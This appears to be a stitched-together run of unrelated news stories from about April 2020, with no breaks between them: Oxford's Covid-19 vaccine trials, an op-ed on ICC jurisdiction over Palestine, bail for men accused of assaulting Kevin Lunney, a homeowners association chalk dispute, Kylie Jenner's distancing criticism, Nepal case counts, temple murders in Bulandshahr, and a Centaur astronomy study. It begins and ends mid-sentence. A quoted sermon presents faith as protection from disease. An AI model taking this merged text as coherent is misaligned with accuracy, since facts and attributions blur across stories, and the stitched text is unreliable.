laboratory could focus full-time on Covid-19. Then the lockdown forced everyone not working on Covid-19 to stay home altogether. The whole world doesnt usually stand up and say, How can we help? Do you want some money? Hill said. Vaccines are good for pandemics, he added, and pandemics are good for vaccines. Other scientists involved in the project are working with a half-dozen drug manufacturing companies across Europe and Asia to prepare to churn out billions of doses as quickly as possible if the vaccine is approved. None have been granted exclusive marketing rights, and one is the giant Serum Institute of India, the worlds largest supplier of vaccines. Donors are currently spending tens of millions of dollars to start the manufacturing process at facilities in Britain and the Netherlands even before the vaccine is proven to work, said Sandy Douglas, 37, a doctor at Oxford overseeing vaccine production. There is no alternative, he said. But the team has not yet reached an agreement with a North American manufacturer, in part because the major pharmaceutical companies there typically demand exclusive worldwide rights before investing in a potential medicine. I personally dont believe that in a time of pandemic there should be exclusive licenses, Hill said. So we are asking a lot of them. Nobody is going to make a lot of money off this. The Jenner Institutes vaccine effort is not the only one showing promise. Two US companies, Moderna and Inovio, have started small clinical trials with technologies involving modified or otherwise manipulated genetic material. They are seeking both to demonstrate their safety and to learn more about dosing and other variables. Neither technology has ever produced a licensed drug or been manufactured at scale. A Chinese company, CanSino, has also started clinical trials in China using a technology similar to the Oxford institutes, using a strain of the same respiratory virus that is found in humans, not chimps. But demonstrating the effectiveness of a vaccine in China may be difficult because Covid-19 infections there have plummeted. Armed with safety data from their human trials of similar vaccines for Ebola, MERS and malaria, though, the scientists at Oxfords institute persuaded British regulators to allow unusually accelerated trials while the epidemic is still hot around them. The institute last week began a Phase I clinical trial involving 1,100 people. Crucially, next month it will begin a combined Phase II and Phase III trial involving another 5,000. Unlike any other vaccine project now underway, that trial is designed to prove effectiveness as well as safety. The scientists would declare victory if as many as a dozen participants who are given a placebo become sick with Covid-19 compared with only one or two who receive the inoculation. Then we have a party and tell the world, Hill said. Everyone who had received only the placebo would also be vaccinated immediately. If too few participants are infected in Britain, the institute is planning other trials where the coronavirus may still be spreading, possibly in Africa or India. Well have to chase the epidemic, Hill said. If it is still raging in certain states, it is not inconceivable we end up testing in the United States in November. To me, the subject of Israel and Palestine, the relations between the two entities and their peoples, as well as the role of third actors (international or not), including the International Criminal Court (ICC), has been of concern for many years. The so-called Palestine Situation before the ICC seems to put into perspective the meetings and dialogues I had more than twenty years ago. Professionally, I have devoted my energy for the past fifteen years to international criminal justice, both in teaching and research and in practice, where I have been able to work alongside the Prosecutor General of Israel, the defence and more recently, in the representation of victims of international crimes. This Situation also touches me on a personal level. I am Israeli by heritage, by birth, by life and by choice, having returned more than once, after more than a decade spent in France and the Netherlands. I am not only Israeli. The identity of each of us is composed of several elements. Some of us have more apparent components than others, yet none of us is defined by a single name, an experience, a past or a single aspect of the present. This is why the philosophical theme (from Thomas Aquinas to Rene Descartes) of the contours that distinguish object and subject and the possibility of observing the question objectively, is more relevant to me than ever. I wonder if an external point of view is always more objective? More impartial? The external actor certainly has the advantage of a distant, non-emotional, supposedly rational viewpoint, whereas an inside point of view has the advantage of knowing the actors over time, knowing the nuances and subtleties. This dilemma made me opt for public silence for a long time preferring to do my job and create a forum for dialogue, a safe and secure place where opinions and law can develop peacefully in the form, among others, of the International Criminal and Humanitarian Law Clinic. Yet, especially on the subject of Israeli-Palestinian relations, I have often been struck by the limits of objectivity of the external viewpoint. This limitation is not only due to a lack of knowledge on the contrary, this arena draws serious researchers and practitioners with an impressive knowledge of facts and events, often even better than that of much of the local population. The limits to which I am referring are rather related to the inability I have seen of external actors to be or to remain truly external third parties to this situation that is the Israeli-Palestinian conflict. More than in any other conflict, the empathy of third party actors tends to become symbiotic. To outline the main lines of my thinking, I would say that empathy is about seeing the other person, understanding them in their pain and reaching out to them in order to pull them from the mud. Symbiosis, on the other hand, consists of entering the mud with the other person and losing all capacity to help and be useful. In these circumstances, one may ask oneself what advantages the external observer maintains over the (passive or active) internal actor? Over time, seeing so many external (and internal) actors expressing themselves, I decided to express myself not without hesitation. ICC Jurisdiction: A Legal and Political Issue What is the current status of the Palestine Situation? The next step is expected on 30 April, when the Office of the Prosecutor will provide its consolidated response to 43 amicus curiae, including from 8 States and about 10 victims representatives 9 Palestinian and 1 Israeli. These communications followed Prosecutor Fatou Bensoudas 20 December statement in which she announced her decision to open an investigation in response to requests from the Palestinian Authority, and asked the Pre-Trial Chamber to validate her finding of principle that jurisdiction exists and the extent of her territorial jurisdiction over the Gaza Strip, the West Bank and East Jerusalem. Still, the jurisdiction of the Court would have to exist on the basis of two declarations by the Palestinian Authority, made successively on 1 and 2 January 2015. The first recognized the jurisdiction of the ICC retroactively to 3 June 2014, one day after the taking of hostages and the execution of three Israeli youths at close range by a Palestinian militia. The second declared to the UN Secretary-General Palestines accession to the Rome Statute. The central legal issue is that, according to the Rome Statute, only States can recognize the jurisdiction of the ICC over their territory and nationals (except in the case of constitutive recognition by the Security Council, according to Article 13 of the Statute). Let us recall that the 2015 requests were preceded by a first request of 21 January 2009, which was rejected by former prosecutor Luis Moreno Ocampo, after more than three years of legal (and political) debates on the issue of conditions for statehood (for more on the debate and history see here). He stressed the difficulty of deciding on Palestinian statehood and indicated that until the UN had decided on its status as an observer state, he could not make a decision. Nevertheless, today the ICC must decide on the question of jurisdiction and whether at this stage of the proceedings the Palestinian request meets the requirements of the Rome Statute. It must be stressed that the Court will for the first time decide in a legal manner on this question of jurisdiction. However, the issue could be raised at later stages of the proceedings. Thus, a legal issue is also a political one and is central to the national aspirations of the Palestinian entity one of the key objectives of the Oslo Accords negotiated in the 1990s. Recommended reading ICC/Palestine: When do states recognise states? In other words , Palestine is not a State The fact is that the Prosecutor does not say in her 22 January 2020 application that Palestine is a State, but that the question of Palestines Statehood under international law does not appear to have been definitively resolved. The Prosecutor invites the Court not to resolve the question of Statehood under international law but rather to refer to the legal debate conducted at the time of Palestines accession to the Rome Statute and then to follow the letter of the Statute. However, there was no legal debate at the time of accession, on its status as a State. Upon accession, the Assembly of States Parties accepted it precisely without prejudice to the legal debate. In the alternative, the Prosecutor invites the Court to say for the strict purposes of the Statute that Palestine is a State under relevant principles and rules of international law. Is this broad interpretation (or functional approach), which is contrary to the principle of legality which requires a strict interpretation, an elegant way of seeking a middle ground between those who say that Palestine is not a State and those who say that Palestine has been a State since 1988, and even since 1923? There is neither elegance nor an in-between in the interpretation proposed by the Prosecutor of the ICC. Sometimes things have to be said as they are, especially in a legal, not diplomatic, forum. Palestine is not a State in all senses of the word states in substance the Prosecutor. In other words, Palestine is not a State. That will surely be the reality of tomorrow. However, it is not todays reality. Yet, especially in such a charged situation, the law is an asset. It offers a common language of rules and mechanisms that everyone must accept. The law offers serenity between parties who, in its absence, are left to diplomacy or force. By respecting its legal character, the ICC takes on its full force including that of recognizing the validity of alternative mechanisms for resolving the injustices at the centre of the conflict. It cannot compromise its own rules. This is how I see the role of law in the Israeli-Palestinian conflict. The ICC must not become a court of exception. It must remain loyal to its status and its mandate: to deliver justice on the basis of the principles of fair trial and not at any cost. Predictable and less predictable amicus curiae We note here that the amicus curiae briefs submitted to the ICC by authors of Palestinian nationality (and their co-authors) support Prosecutor Bensoudas position. The amicus curiae of Israelis, for the most part, oppose this. Third parties, neither Israelis nor Palestinians, who plead for justice, are either for or against the ICCs jurisdiction. Most States argue against the ICCs jurisdiction. But I would like to draw attention to some less predictable actors. Im thinking of Israeli Professor Eyal Benvenisti, author of The International Law of Occupation and analyst often critical of Israeli government policy. Should he be suspected of bias when he takes a position against that of the ICC Prosecutors office? There are also the Americans Stephen Rapp and David Crane, who plead against the ICCs jurisdiction whereas in the Afghanistan situation they pleaded for it; and Robert Badinter, a champion of human rights, to whom France owes the abolition of the death penalty. Should they be suspected of non-objectivity? In my amicus curiae, I proposed to the Court that instead of focusing on the nature of the Palestinian entity, it should reconsider its own laws and rules and focus on the nature of its jurisdiction. This would be all the more relevant as the Prosecutor seems to have dismissed the (extreme) position of recognizing Palestine as a State, and thus the unfortunate impact of setting a precedent in history where a Criminal Court would establish a State. As the Prosecutor states, an investigation should only be opened on a firm jurisdictional basis. She also rightly states that jurisdiction is a fundamental concept of the ICC. Indeed, issues of jurisdiction are among the three issues for which an appeal is provided by law under the Rome Statute. It is also clear that jurisdiction is followed by strict conditions set out in the Statute. I appeal to the principle of legality, a fundamental principle of criminal procedure without which one cannot speak of justice as stated by Professor Georges Levasseur in 1964. The principle of legality is often presented as being limited to the obligation to define the crime (nullem crimen) and the penalty (nulla peona) by a law (sine lege). However, the principle of legality is made first of all of the principle of procedural legality. The importance of procedural legality lies in the fact that it makes it possible to distinguish justice from arbitrariness. Thus, in this exceptional situation of Palestine, the ICC must not become a court of exception. It must remain loyal to its status and its mandate: to deliver justice on the basis of the principles of fair trial and not at any cost. Otherwise, the ICC risks compromising itself. If the ICC were made solely for the purpose of combating international crimes, the ICC would have been the Court of universal jurisdiction. It is not, since the Statute establishes strict rules for the exercise of its jurisdiction. Yet this Court is unique. It is the result of countless historical efforts. Those efforts must be respected in this situation, as in any other situation. The credibility of the Court protects the interests of victims. In order not to make the ICC an (additional) political actor, its jurisdiction must not become a punishment or prize. The jurisdiction of the Court is a legal question. Its definition does not leave the organs of the Court the discretion to expand it. The notions of peace, security and other broad notions of justice have been taken into account by the authors of the Rome Statute but only to restrict its jurisdiction, not to expand it (see for example Articles 16 and 53(1)(c) of the Statute). If one traces the history of the relationship of the State of Israel and the Jewish people to the notion of international justice, the picture looks more like a Greek tragedy. Israel and the ICC, a natural broken bond How is this debate perceived in Israel? It should be noted that the current context is one of a constitutional crisis between the executive branch, with a Prime Minister who is the target of several indictments, and a Parliament that until recently was unable to assemble, officially because of Covid-19. It is a country without a government other than a transitional one since the elections of April 2019. In this context, the effects of the ICC Prosecutors statement have faded somewhat at least in the public eye. This forum cannot claim to represent Israeli society. We are in the Levant. Opinions are countless, speeches and interactions numerous. It is very difficult to even draw guidelines. However, some observations can be proposed. If one traces the history of the relationship of the State of Israel and the Jewish people to the notion of international justice, the picture looks more like a Greek tragedy. Absurdity and cynicism are at their height. Judge Eli Nathan, who headed the Israeli delegation to Rome in 1998, said at the conclusion of the negotiations on the ICC Statute: It is with a measure of regret, both personally as a victim of the Nazi persecution of the Jewish people, and on behalf of the Israeli Delegation which I proudly head, that I have to explain the negative vote which Israel has been unwillingly obliged to cast today with regard to the Statute of the International Criminal Court. It is no secret that out of the embers of the Holocaust against the Jewish people the greatest and most heinous crime to have been committed in the history of mankind, came the calls of Jews throughout the world, and leading Israeli lawyers and statesmen, as far back as the early 1950s, for the establishment of an International Criminal Court, as a vital means of ensuring that criminals who commit such heinous and terrible crimes will be duly brought to justice. This was, inter alia, our idea! Finally, Israel refused to sign and ratify the Rome Statute, after the ICC recognized the transfer of civilian population as a war crime. This was perceived by the Israeli government as political and was a proposal by Arab countries participating in the negotiations in Rome. For the average Israeli citizen there is not much difference between the ICC, the UN, the commissions of inquiry of the UN Human Rights Commission and the opinion of the International Court of Justice on the separation wall. The natural and historical link of the State of Israel with the ICC should have been that of brotherhood. The reality is that the ICC is considered suspect, after at least three decades of disappointment with the UN (political) system, and with an automatically anti-Israeli majority in the UN General Assembly. For the average Israeli citizen there is not much difference between the ICC, the UN, the commissions of inquiry of the UN Human Rights Commission and the opinion of the International Court of Justice on the separation wall, the barrier that protects Israelis from daily, arbitrary, deadly and traumatic explosions. Another element of context is that 30 April, the day of the expected response from the ICC Office of the Prosecutor, will come one day after Israels Independence Day. This follows the long and emotional weeks of the Jewish Passover, marking the end of slavery in Egypt. A week later it will be Holocaust Memorial Day. And another week later will be the day of remembrance for the victims of Israels wars. How the ICC is perceived by the Israeli population will depend on its ability to conduct a dialogue, to establish its credibility as a legal actor, to create a dialogue and agreement on common values and not to become an ICC that threatens this independence, the legitimacy of the State of Israel and its place among nations. I pray for a world without fear, without war, without occupation, where everyone can sit under his fig tree and his vine and where everyone has their place. Will Israeli victims come to the ICC? Who are these Israeli victims? And if the jurisdiction of the ICC is established, will Israeli victims come to the ICC? The answer is in the hands of the victims. I would just say that, historically, the collective narrative in Israel has set aside the identity of the victim and replaced it with that of the survivor. We have survived pogroms, the Holocaust, persecution in Arab and Western countries, the Exodus. For Israelis, publicly representing themselves as victims means crossing an identity barrier, both individual and collective. I dedicate the final word to the invisible victim. The figures, the statistics of the dead and wounded are much higher on the Palestinian side. I recognize the existence and the rights of the Palestinian victims, whoever they may be. They have the right to truth, justice, reparation and non-repetition. But the invisible victim will not be found in the statistics. The one who, like all of us, knows from experience that normal does not exist. That illusion of normality, sitting on a terrace, walking in the street, taking the bus, shopping in the supermarket, being stuck in a traffic jam pre-Covid 19 normality has never been. Every celebration can become a bomb attack and everyone can become a target deliberately, indiscriminately, arbitrarily, unrelated to their thoughts, dreams, aspirations, talents, wrongs and faults, actions, indifference. How do you count these victims? Those who get on a bus and watch for too much sweat from one of the passengers to get off the bus long before their stop? Every act that is defined as a crime against humanity or terrorism disturbs everyones conscience and violates the freedom to live without fear. The ICC will have to decide, that is the fate of the Judges they do not have the privilege of not deciding. In deciding on the existence, non-existence or existence for the purposes of the Rome Statute (the functional approach) of Palestine as a State, the Court will also decide on its own identity. I pray for a world without fear, without war, without occupation, where everyone can sit under his fig tree and his vine and where everyone has their place under Heaven. But in the meantime, I am content with a world where everyone has the freedom to be who they are, with rules and universal values that are supposed to unite us all, with a common language that international law and the ICC can offer. The High Court has granted bail to two men charged with the alleged assault and false imprisonment of Quinn Industrial Holdings (QIH) Director Kevin Lunney. Luke O'Reilly (aged 66), from Mullahoran Lower, Kilcogy, Co Cavan and Darren Redmond (aged 25), from Caledon Road, East Wall, Dublin 3, are charged with false imprisonment and assault causing serious harm to Mr Lunney at Drumbrade, Ballinagh, Co. Cavan, on September 17, 2019. The two men were served with books of evidence at the Special Criminal Court on March 26 last and it is expected that their trial could potentially begin in January 2021. Mr Lunney (50), a father of six, was abducted close to his home in Co Fermanagh on the evening of September 17. The businessman's leg was broken, he was doused in bleach and the letters QIH were carved into his chest during the two-and-a-half hour ordeal before he was dumped on a roadside in Co. Cavan. Mr O'Reilly and Mr Redmond appeared this morning via video-link from Portlaoise Prison for the hearing and could each be seen wearing a face mask on the court's large television screens. The judge said that taking all the evidence and submissions together, the prosecution had fallen just short of meeting the standard of proof required for the court to refuse bail. The judge granted bail for both men but stressed that it was subject to stringent conditions. The State had objected to bail on two grounds, arguing that if granted bail the accused men would interfere with the administration of justice and that they were also "flight risks". Aoife O'Leary BL, for the Director of Public Prosecutions (DPP), said there was a strong circumstantial case to be made against both men. "These offences were intimidatory in nature and there is very strong evidence connecting these individuals to these offences," she added. In reply, Michael Bowman SC for Mr Redmond and Mark Mulholland QC for Mr O'Reilly said that there was no evidential basis to justify their clients being refused bail. Mr O'Reilly and Mr Redmond were refused bail at Virginia District Court last year and sought to have that decision overturned by bringing an application to the High Court in Cloverhill on December 19 last. However, Mr Justice Robert Eagar refused to grant bail to the two men. Two other men are facing trial alongside Mr O'Reilly and Mr Redmond. Alan OBrien (aged 39), of Shelmalier Road, East Wall, Dublin 3, and a fourth man who cannot be named for legal reasons are both also charged with false imprisonment and assault causing serious harm to Mr Lunney on the same occasion. Mr O'Reilly and Mr Redmond were granted bail until their trial date, which is expected to last between eight and 12 weeks. The case is in for mention before Special Criminal Court 2 on June 10. Britains health minister said on Tuesday he was very worried about signs of a Covid-19-related syndrome emerging in children. The NHS issued an alert this weekend about a small number of children presenting an unusual set of symptoms, including abdominal pain and inflammation around the heart. They have required admission to intensive care, according to a report in the Health Service Journal. Im worried about the early signs that in rare cases, there is an impact of an autoimmune response in children that causes a significant disease, health secretary Matt Hancock said. The Guardian reported that there had been at least 12 such cases. The UK came together on Tuesday for a minutes silence in honour of hundreds of health care and other workers who lost their lives on the front lines of the coronavirus fightback across the country. Meanwhile, an Indian-origin London-based man, Karan Singh, has been jailed for eight months for spitting at police custody staff after lying about having Covid-19 because he was angry, Scotland Yard said on Tuesday. MARQUETTE, MI Marquette County healthcare professionals are being provided free hotel rooms as part of a unique collaboration in the Upper Peninsula. Hospitality for Heroes is a collaboration between Travel Marquette, Marquette County and the Marquette County Health Department. As part of the agreement, local hotels will provide rooms at no charge to doctors, nurses, EMTs, paramedics and other frontline medical staff who need a place to sleep, recharge or isolate from their families during the COVID-19 pandemic. Medical professionals have been working tirelessly through a global pandemic to keep us safe, said Emily Leach, Senior Planner for Marquette County. By providing hotel rooms as temporary housing options, we hope to help keep their families safe and alleviate any fears about returning home. The program is being funded by grants from regional and national foundations so that hotels can be reimbursed for costs associated with hosting workers. Travel Marquette is administering the program and have confirmed funding from three organizations: Community Foundation of Marquette County, Superior Health Foundation and West End Health Foundation. The program will run for as long as limited funds are available, according to a news release. Participating hotels in Marquette County include Big Bay Motel, Country Inn and Suites, The Days Inn, Magnuson Hotel Country Inn, My Place Hotel, Landmark Inn, Ramada by Wyndham Marquette and Staybridge Suites. During this crisis, medical professionals have been working in the most challenging circumstances, sacrificing their own needs for the greater good, said Susan Estler, Executive Director of Travel Marquette. We are honored to work with local hotels to support these heroes as they continue to serve the community during this difficult time. Furthermore, we are thankful to those foundations who have donated funds to make this program possible. To participate, healthcare workers must fill out an online application and attach a copy of their badge or letter from their employer certifying their license is active. Requests are reviewed in the order they are received. Upon approval, healthcare workers would receive a letter from Travel Marquette with the link to the program website where they can make their arrangements directly with the hotel of their choice. The program will cover a maximum of five nights, but workers are welcome to stay longer at their own expense. A valid form of payment is required at check-in to cover any incidental experiences. READ MORE: You can thank the healthcare hero in your life with a random act of ice cream You can pick a Michigan shelter dog or cat to join your video chat, virtual meeting Michigan beer distributor makes face masks from can koozies amid coronavirus outbreak Burger King offering free Whoppers to students who can answer school questions Ford making reusable hospital gowns from airbag materials as efforts against coronavirus expand The idea of German flagship carrier Lufthansa using a type of protection from creditors is not yet off the table, a source at the airline said. Lufthansa was still considering the insolvency protection procedure as an alternative if a rescue package limited the companys ability to compete too much, the source said. A Riverchase mother is speaking out after her young daughters encouraging message left in chalk on the sidewalk was met with assertions that they were defacing the neighborhood and lowering property values. During these uncertain times when new rules are in and mom rules are gone for now Megan Seaton is stunned that her 11-year-old daughters act of kindness was met with what she calls bullying by her homeowners association. Kennedy last week spent the better part of an hour drawing Love Your Neighbor in front of the familys home. She was very proud of it, her mother said. Then we got the letter from the board. That board was the Riverchase Townhomes Owners Association, a subgroup of the larger Riverchase Residential Association. Seaton pays homeowners dues to both. The Riverchase Residential Association has not been enforcing sidewalk chalk. Theyve been really good about fostering community during this time, Seaton said. The RTOA, however, sent Seaton a formal letter Monday informing her that the chalk art was in violation of the covenants, calling Kennedys project unsightly. The RTOA Board through enforcement of the RTOA covenants seeks to maintain the overall appearance of our neighborhood in order to protect all of our property values, the letter stated. We would very much appreciate it if you would clean up the sidewalk and refrain from using chalk or any other material to mar the sidewalks. Seaton, who is an attorney, said she learned the board actually met as a group to discuss Kennedys infraction and move forward with the demand to have it removed. She called the president to discuss it with him but said he told her, I cant allow you to deface the property. Theyre really digging their heels in, Seaton said. Its disappointing. Like many kids, Seaton said, Kennedy is trying to adjust to the new normal which for her includes having her mother working from home and Kennedy trying to figure out how to navigate doing schoolwork on her own. Kennedy wanted to write some encouraging messages for the neighbors because everyone has been struggling, Seaton said. She wanted to show kindness and uplift people. It comes from her heart. The biggest thing for her is now she feels like shes done something wrong and thats why it bothers me more than anything else because I dont want her to think she did something wrong, Seaton said. Thats not the message we should communicate to anyone right now. Shes even been leaving notes for people in the neighborhood, she said. Shes really gone out of her way to make people feel cared for right now and I want her to be proud of that. Seaton posted the letter to Facebook, and the reaction was immediate. Its been shared more than 1,000 times. That, she said, has been a double-edged sword. Hundreds of strangers have encouraged and supported Kennedy. It shows theres good people and goodness in the world, Seaton said. Some neighbors, however, had asked Seaton to drop the issue fearing it would make their neighborhood look bad. Theres been a lot of pressure for me to delete the post, but I want my daughter to know its important to be kind and uplifting. Shortly after this article published, Seaton received an apology call from the president of the association. I love living in Riverchase and its important I say that, Seaton said. Ive just told her (Kennedy) that Im proud of her and she needs to keep being kind and encouraging to others rather than be intimidated by something like this. You cant please everyone. The General of Living Faith Church popularly known as Winners Chapel, Bishop David Oyedepo, has called on Christians in the country that many other diseases and plagues are coming. Bishop Oyedepo stated this during a live broadcast, he charged all Christians to take redemption and authority in Jesus. The cleric while speaking on a message titled understanding our heritage of dominion over sickness and disease, noted redemption is a new estate of a sickness free life. Let me conclude by saying there are going to be many other waves of sickness and disease. The Bible notes that all the sicknesses that are not written in this book are coming. Deuteronomy 28:61 Also every sickness, and every plague, which is not written in the book of this law, them will the Lord bring upon thee until thou be destroyed. It is not new, there are new diseases, they will be coming, that is why you need to take cover on time before you become a victim. Take cover in redemption and understand your authority and power vested in the name; then begin to walk in dominion over sickness and disease! That shall be your portion in the name of Jesus. When Jesus sat with the disciples, not one was reported sick once. His presence just cleared them from all satanic assaults and he said Lo, I am with you always. I will not leave you comfortless, I will come to you awesome promises, awesome life. He, therefore, prayed that God will establish authority and one in the church will be a victim. His natural presence covered them, how much more His resurrected presence. Glory to God. Share this post with your Friends on DETROIT, MI All three Detroit automakers likely would remain closed for two more weeks as they negotiate reopening terms with the United Auto Workers union. Ford, General Motors and Fiat Chrysler factories have been idled for over a month due to fears of spreading the coronavirus. The Associated Press reports that Fiat Chrysler is backing off a planned May 4 restart at its North American Plants because some states will still have stay-at-home orders. In Michigan, where FCA has multiple factories, Gov. Gretchen Whitmer is taking a hard look at whether to let industrial sectors like manufacturing reopen in the next phase of loosening restrictions. In light of the updated state stay in place orders, the company is re-evaluating its plans to resume its North American operations and will communicate new restart dates in due course, FCA said Monday night in a statement. GM said it hasn't announced a start date, while Ford said a date hasn't been determined. The companies have pledged to monitor workers temperatures, redesign work stations and stagger shifts to minimize contact with others, require masks, gloves and other protection equipment, and frequently sanitize factories in an effort to keep workers safe, according to AP. But the union wants companies to consider testing workers before they enter factories. Detroit auto companies employ about 150,000 factory workers mainly in the industrial Midwest, but there are factories from New York to Tennessee and Texas. RELATED: Ford blames $2B first-quarter loss mainly on coronavirus outbreak Nepal said on Tuesday that two men, who returned from India last month, have been tested coronavirus positive, bringing the total number of the COVID-19 patients in the country to 54. The two men, aged 35 years and 24 years, were staying in quarantine after returning from India, one from Kolkata and the other from Delhi, the Ministry of Health and Population said. The two men were tested COVID-19 positive on Tuesday. According to the Himalayan Times, the 24-year-old person earlier had tested negative for antibodies on Rapid Diagnostic Test (RDT) and negative for the virus through Polymerase Chain Reaction (PCR) method carried out in Janakpur. For latest updates and live news on coronavirus, click here "However, his swab sample collected by a medical team on April 24 and sent to Kathmandu-based National Public Health Laboratory (NPHL) tested positive for the novel virus," the paper said. The other person, who was tested positive, had travelled to Nepal from Delhi during the lockdown. He worked in a bag factory located at Paharganj in the Indian capital, the paper said. So far, COVID-19 tests have been conducted on 10,807 people. Sixteen people have returned home after their successful treatment. Currently, there are 38 active patients undergoing treatment at various hospitals across the country. Nepal has been under lockdown since March 23. All government services other than essential have been shut down. On Sunday, the government extended the nationwide lockdown till May 7 to stop the spread of the virus. Nepal's tourism sector is the worst hit by the pandemic. The Hotel Association of Nepal has projected that the hotel business income will decline by 90 per cent in 2020 and has asked the government to adopt special measures to protect the industry. Kylie Jenner is being slammed for once again breaking social distancing rules by hanging out with her best friend Stassie Karanikolaou. Last week, photos surfaced of Kylie, 22, driving to Stassie's house during quarantine, and now their TikTok and Instagram pages show that Stassie returning the visit. The two shared several photos and videos of themselves laying out in the sun, shooting hoops, playing with Stormi, and dancing and they've inspired backlash from critics who accuse Kylie of flouting the rules, even as she has urged others to stay home. Uh-oh: Kylie Jenner is being slammed for once again breaking social distancing rules by hanging out with her best friend Stassie Karanikolaou Fun in the sun: The two spent the day together on Monday and documented it on social media Viral: The two spent some time recording themselves doing TikTok dances Quick choreography: The 22-year-old and her friend danced to VIBEZ by DaBaby in the video, which they captioned: 'Learned this dance 5 minutes ago' Stassie appears to have visited Kylie at her $36.5 million Holmby Hills mansion on Monday, and the two spent quite a few hours together, documenting much of it on social media. They both shot some nicely-posed photos and videos of each other hanging out by the pool and spraying on Kylie's skincare products. In one Instagram story video, Kylie referred to Stassie as 'my quarantine friend.' They also got drinks what appears to be a green juice and a coffee and clinked cups while sitting out in the sun. While goofing around, the two learned some TikTok dances and recorded themselves busting a move. Cheers! They also had some (non-alcoholic) drinks while sitting out in the sun Clink: Kylie shared video of them toasting with her green juice and Stassie's iced coffee Strike a pose: She also took the opportunity to pose for some sexy poolside snaps Hanging out: This is at least the second time the two have gotten together during quarantine No worries: The two don't appear to be particularly concerned about social distancing At one point, they recorded themselves lip-syncing to a clip from season 13 of Keeping Up With the Kardashians, with Kylie playing the part of her big sister Kendall and Stassi playing mom Kris. The episode, titled 'The Aftermath,' originally aired on March 26, 2017. All in all, they appear to have packed their day with activities together before Stassi went home. Kylie has been 'isolating' at home with Stormi and Travis Scott, 27, with whom she's reportedly back together. It not known if Stassie is quarantining with anyone, though she has also posted pictured with friend Kelsey Calemine. It is unclear if they are living together during quarantine, or if Stassie is simply visiting with several friends during this time. Some fun: They also made a video in which they lip-synced dialogue from an old episode of Keeping Up With the Kardashians Do as I say, not as I do: Kylie (pictured with Stormi) has warned fans to stay home during quarantine Fam: Kylie has been 'isolating' at home with Stormi and Travis Scott, 27, with whom she's reportedly back together Either way, Kylie and Stassie's visits have been enough to set social media users off. Several have taken to Twitter to call them out for flouting social distancing rules, accusing them of treating the rules like they don't apply to them. Governor Newsom of California has encouraged residents to stay home and isolate which means not meeting up with friends and limiting contact with people outside of one's household. 'Kylie didnt even try to learn the dance also did they forget about social distancing??? [I guess] it doesnt apply if ur a billionaire,' wrote one. 'So everyones talking about kylie jenner making tik toks but not the fact that she just broke the rules of lockdown and randomly let her friend come into her house? great influence,' said another, referencing the fact that Kylie herself has encouraged fans to stay home. Hypocrite: Twitter users have called Kylie out for breaking social distancing rules Doing it again: They also called her out earlier in the month when she went to Stassie's house for a visit 'I love how social distancing doesn't apply to celebrities,' said another. This is the second time recently that Kylie has been criticized for this. On April 19, photos emerged of Kylie getting out of a car at Stassie's house, wearing tie-dye sweats and shockingly little makeup. At the time, many were fixated on what Kylie looked like weeks into quarantine, but others called her out for ignoring social distancing rules then, too. 'Honestly perplexed by Kylie Jenner going to hangout with Stassie, while encouraging her followers to stay home, self isolate, and social distance,' wrote one. 'It would be one thing if she was a typical 22 year old but she has a baby girl at home. Thats just irresponsible & she was barefoot??' House hopping: Previously, Kylie had paid a visit to Stassie's house and they hung by the pool Twinning: The two snapped photos of each other in swimsuits Stay home: Stassie had previously encouraged followers not to go out Going around: Stassie has also hung out with friend Kelsey Calemine. It is unclear if they are living together during quarantine, or if Stassie is simply visiting with several friends Kylie and Stassie have both urged followers to stay home. Previously, Stassie shared a lengthy Instagram post on the subject. 'Ive been social distancing and self quarantining for days now, not that i feel sick, just doing my part in taking the precautions to make sure everyone stays safe,' began the star as she was seen cooking in her kitchen,' she wrote. 'You may not be worried because youre healthy and will be fine but you could still be a carrier and affect others with low immune systems. 'Its not just about you. we all need to do our part to keep everyone safe from this. I know its a scary time but the best thing to do is not believe everything you read and stay educated.' Bulandshahr : , April 28 (IANS) Two sadhus were found murdered inside a Shiva temple at Pagona village of Bulandshahr district in Uttar Pradesh, police said on Tuesday. The murder came to light when people reached the temple on Tuesday morning and saw the blood-soaked bodies. According to reports, the deceased have been identified as Jagandas,55, and Sevadas,35. Chief Minister Yogi Adityanath has taken cognizance of the incident and directed the district officials to reach the site of crime and inform him of the investigations. He has also ordered strict action against the accused. SSP Bulandshahr Santosh Singh said that one person had been detained. He had stolen an article form the two sadhus and the latter had scolded him. Further investigations are underway and additional forces have been deployed in the area. These murders come almost a fortnight after the Palghar lynching in Maharashtra, where two 'sadhus' and their driver, proceeding from Nashik to Surat, were cornered and lynched by a 200-strong mob outside Gadchinchle village on April 16 night. Police had rushed to stop it but failed. Maharashtra Home Minister Anil Deshmukh on Tuesday termed as "quite distressing" the killing of two priests in Uttar Pradesh's Bulandshahr. Deshmukh, who belongs to the NCP, also said that he "trusted" Uttar Pradesh Chief Minister Yogi Adityanath to take "swift" action as the Maha Vikas Aghadi government had taken in connection with the Palghar lynching incident earlier this month. Without naming any party, Deshmukh hoped that those who had made "inflammatory" statements after the Palghar incident will not make such provocative comments after the Bulandshahr killings. "The killing of 2 sadhus in UP's Bulandshahr is quite distressing. We trust @myogiadityanath will take action as swiftly as we took in #Palghar. We hope those who made inflammatory communal statements after Palghar will curb such tendencies!" Deshmukh tweeted with a hashtag "ZeroToleranceForCommunalism". Two priests were found murdered at a temple in Bulandshahr district on Tuesday morning, allegedly killed by a local youth. Jagdish (55) and Sher Singh (45) were apparently hit with a lathi at Paguana village's Shiva temple in Anupshahr police station area, police said. The alleged killer was arrested. On his part, CM Adityanath directed strict action in the case as Opposition leaders targeted the BJP government over the crime. In Delhi, the Congress said that the killing of two priests in Bulandshahr should not be politicised like the Palghar incident. In Palghar, two sadhus and their driver were lynched by a mob near a village on the night of April 16 when they were headed towards Surat in Gujarat in a car to attend a funeral. The incident had triggered a war of words between the opposition BJP and the Shiv Sena-led state government comprising the NCP and the Congress. (This story has not been edited by Business Standard staff and is auto-generated from a syndicated feed.) At least 17 high-inclination Centaurs and two trans-Neptunian objects were captured by the Solar System from the interstellar medium, according to a new study published in the Monthly Notices of the Royal Astronomical Society. Centaurs are outer asteroids whose orbits are mostly confined between those of Jupiter and Neptune. Due to giant planets perturbations, these objects have transient orbits with typical lifetimes of a few million years. If a Centaur orbit is integrated forward or backward in time, it will invariably either hit the Sun, the planets, or be ejected from the Solar System. Centaurs appear to be intermediate between asteroids and comets, as any Centaur coming close enough to the Sun is expected to show cometary activity. In the new study, Dr. Fathi Namouni from the Universite Cote dAzur in France and Dr. Helena Morais from the Universidade Estadual Paulista in Brasil examined 17 high-inclination Centaurs and two 